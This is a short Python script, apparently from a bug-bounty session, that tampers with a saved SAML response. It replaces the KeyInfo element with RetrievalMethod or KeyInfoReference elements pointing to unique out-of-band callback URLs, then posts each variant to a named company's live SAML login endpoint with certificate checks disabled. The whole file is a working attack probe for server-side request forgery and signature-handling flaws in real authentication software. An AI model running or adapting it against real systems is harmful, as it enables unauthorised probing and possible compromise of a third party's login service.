#!/usr/bin/env python3
import base64,time,json,requests,urllib3,subprocess
from lxml import etree
urllib3.disable_warnings()
HOST='mein-portal.baloise.de'
BASE='work/scratch/saml-correct-attr/01a1c612-1047-734c-8a4e-26296a6b3aaa.xml'
DS='http://www.w3.org/2000/09/xmldsig#'
DS11='http://www.w3.org/2009/xmldsig11#'
stamp=str(int(time.time()))
variants=[('retrieval-raw',DS,'RetrievalMethod',{'Type':DS+'rawX509Certificate'}),('retrieval-notype',DS,'RetrievalMethod',{}),('keyinfo-ref',DS11,'KeyInfoReference',{})]
s=requests.Session(); s.verify=False; s.headers['X-Bug-Bounty']='dwbzn'
g=s.get(f'https://{HOST}/auth/',timeout=20,allow_redirects=False)
tok=s.cookies.get('CSRFT759-S')
headers={'X-CSRFT759':tok,'X-Same-Domain':'1','Content-Type':'application/x-www-form-urlencoded','Accept':'application/json'}
outs=[]
for name,ns,tag,attrs in variants:
 marker=f'ski{name.replace("-","")}{stamp}'
 url=f'https://{marker}--3p8.9b.au/cert'
 root=etree.parse(BASE).getroot()
 ki=root.xpath('//*[local-name()="KeyInfo"]')[0]
 for ch in list(ki): ki.remove(ch)
 el=etree.SubElement(ki,etree.QName(ns,tag)); el.set('URI',url)
 for k,v in attrs.items(): el.set(k,v)
 xml=etree.tostring(root,xml_declaration=True,encoding='UTF-8')
 open(f'work/scratch/next/{marker}.xml','wb').write(xml)
 t=time.time()
 r=s.post(f'https://{HOST}/auth/rest/public/baloise/saml2/transform',headers=headers,data={'context':'Easylogin','SAMLResponse':base64.b64encode(xml).decode()},timeout=25,allow_redirects=False)
 rec={'name':name,'marker':marker,'url':url,'status':r.status_code,'size':len(r.content),'elapsed':round(time.time()-t,3),'body':r.text[:300],'exchange':r.headers.get('X-Toadex-Exchange-Id')}
 outs.append(rec); print(json.dumps(rec))
open('work/scratch/next/saml-keyinfo-oob.json','w').write(json.dumps(outs,indent=2))